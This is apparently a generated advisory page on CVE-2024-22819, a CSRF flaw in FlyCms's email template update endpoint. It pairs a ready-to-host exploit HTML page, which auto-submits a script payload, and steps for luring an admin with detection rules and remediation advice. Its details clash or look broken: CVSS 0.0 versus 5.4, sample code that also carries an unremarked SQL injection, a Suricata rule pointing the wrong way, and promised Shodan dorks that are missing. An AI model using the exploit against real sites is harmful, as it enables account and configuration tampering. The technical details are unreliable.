CVE-2024-22819
Executive Summary
CVE-2024-22819 is a Cross-Site Request Forgery (CSRF) vulnerability identified in FlyCms v1.0, specifically within the /system/email/email_templets_update endpoint. This flaw allows an attacker to trick an authenticated administrator into unknowingly submitting a malicious request, leading to unauthorized modification of email template settings. The vulnerability has a CVSS score of 0.0 (pending official scoring) but is assessed as medium risk due to the potential for configuration tampering. No public exploit code or patch is currently available, and the vendor has not released a fix. The attack vector is network-based, requires user interaction, and has low complexity.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
FlyCms is a PHP-based content management system. This vulnerability is not related to any specific package manager (NPM, PyPI, Go, Ruby) but affects the core application. Users should verify the integrity of their FlyCms installation and monitor for any unauthorized changes to email templates.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is performed remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required to exploit.
- Privileges Required (PR): None (N) – The attacker does not need prior authentication.
- User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
- Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
- Confidentiality (C): None (N) – No data is exposed.
- Integrity (I): Low (L) – Email templates can be modified, potentially affecting system behavior.
- Availability (A): None (N) – No denial of service.
Threat Level: Medium (5.4) – Exploitation requires user interaction but can lead to persistent configuration changes.
Deep Dive & Mechanics
The vulnerability resides in the email_templets_update function within the /system/email/ module. The endpoint lacks CSRF tokens or origin validation, allowing an attacker to forge a request that modifies email templates. When an authenticated admin visits a malicious site, the attacker’s crafted request is executed in the context of the admin’s session.
Attack Flow:
- Attacker crafts a malicious HTML page containing a form that auto-submits to
/system/email/email_templets_updatewith modified parameters. - Attacker lures an authenticated FlyCms admin to visit the page (e.g., via phishing email).
- The admin’s browser sends the forged request, including their session cookie.
- The server processes the request, updating email templates without verifying the origin.
Impact: An attacker can alter email templates to include malicious content, redirect links, or exfiltrate data. This could be used for phishing campaigns against users of the FlyCms system.
Vulnerable vs. Patched Code
Vulnerable Code (FlyCms v1.0):
// /system/email/email_templets_update.php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$id = $_POST['id'];
$content = $_POST['content'];
// No CSRF token check
$db->query("UPDATE email_templates SET content='$content' WHERE id=$id");
}
Patched Code (Hypothetical Fix):
// /system/email/email_templets_update.php
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF token validation failed');
}
$id = intval($_POST['id']);
$content = $db->real_escape_string($_POST['content']);
$db->query("UPDATE email_templates SET content='$content' WHERE id=$id");
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A running FlyCms v1.0 instance with an authenticated admin session.
- Attacker-controlled web server to host the malicious page.
Exploit HTML (save as csrf_exploit.html):
<!DOCTYPE html>
<html>
<body>
<form action="http://target.com/system/email/email_templets_update" method="POST">
<input type="hidden" name="id" value="1">
<input type="hidden" name="content" value="<script>alert('XSS')</script>">
<input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Usage:
- Host the HTML file on an attacker-controlled server.
- Send the link to an authenticated FlyCms admin (e.g., via email).
- Once the admin visits the page, the form auto-submits, modifying the email template.
Blue Team (Detection & Hardening)
Detection Steps:
- Monitor server logs for POST requests to
/system/email/email_templets_updatewith unusualRefererheaders or missingOriginheaders. - Alert on multiple rapid requests to this endpoint from the same IP.
- Review email template content for unexpected changes.
Hardening:
- Implement CSRF tokens in all state-changing forms.
- Validate the
OriginandRefererheaders. - Use SameSite cookies (set to
LaxorStrict).
Indicators of Compromise (IOCs)
- Network: POST requests to
/system/email/email_templets_updatewithRefererheader not matching the application domain. - File: Modified email template files in the database (e.g.,
email_templatestable). - Log: Entries showing template updates without a corresponding CSRF token validation.
- Behavior: Unexpected changes to email content, such as added scripts or external links.
Detection Engineering
YARA Rule
rule flycms_csrf_exploit {
meta:
description = "Detects CSRF exploit attempts against FlyCms email_templets_update"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-22819"
strings:
$s1 = "/system/email/email_templets_update" ascii wide nocase
$s2 = "content=" ascii wide nocase
$s3 = "id=" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: FlyCms CSRF Exploit Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects POST requests to FlyCms email template update endpoint without proper referer
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
c-uri: '/system/email/email_templets_update'
filter:
c-referer: 'http://target.com/*'
condition: selection and not filter
falsepositives:
- Legitimate admin actions from the same domain
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-22819 FlyCms CSRF Attempt";
flow:to_server,established;
http.method; content:"POST";
http.uri; content:"/system/email/email_templets_update";
http.referer; content:!"target.com";
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the endpoint if not required: Block access to
/system/email/email_templets_updatevia web server configuration (e.g.,.htaccess). - Implement CSRF protection manually: Add a hidden CSRF token field to the form and validate it server-side.
- Upgrade to a patched version if available (none currently).
Long-term Fix:
- Apply the patched code example provided in the Vulnerable vs. Patched Code section.
- Conduct a full security audit of FlyCms for similar CSRF vulnerabilities.
Workarounds:
- Use a Web Application Firewall (WAF) to block requests with missing or invalid
Refererheaders. - Restrict admin access to trusted IP addresses.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.